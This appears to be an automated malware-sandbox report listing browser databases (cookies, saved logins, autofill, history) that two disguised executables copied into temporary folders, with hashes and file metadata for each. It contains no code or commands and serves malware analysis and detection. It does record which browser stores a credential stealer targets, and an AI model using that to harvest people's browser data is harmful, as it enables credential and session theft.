Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\7QgmTrlHCSVmCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\9NriU2Sl0XBgWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\CWTqeZg4h6AgHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\Czem9gT8_c_eLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\GFcGAW3_5DiZHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\HubNCznOtd0ICookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\Ss1rWh9LWeJYWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\fjwe79NlfMD5Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\jsnTb4zfETRvLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\q07xKfEWXX01Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\uFEtPnihZaHZWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\vEF05r0O3iCrLogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\xu7KtEujCR8ZWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\0bhov4PP31lgWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\14Pde7LM6NuaWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265064492694324
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMSSAELyKOMq+8yC8F/YfU5m+OlTLVumD:Bq+n0JS9ELyKOMq+8y9/OwY
MD5:	05E37EB785E6287DA9CC44264005CF0D
SHA1:	9C12F0B5314BBA38DE918DE0ED4887717FA91943
SHA-256:	7DBD12E29648ABE8606A76D0D9650F461BB430AB193A5148295BD3AF2E8F83C9
SHA-512:	6A3B64C0E11C3D1AE114F8A6FA980E34166CE4B819A65BC36ECA86D5DC9DE186ABF1DF77AED9C703BE009064F5ABC46921B93E4CF3505BF09A68EC90D3759068
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\5SPLmTuFzH5ZHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\6KTW06dWdF0HWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\7XJKxQPMaBa_Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\D5JdndE_6etNHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanSeAh30EbWLPu\GNUiNvWHk37xCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
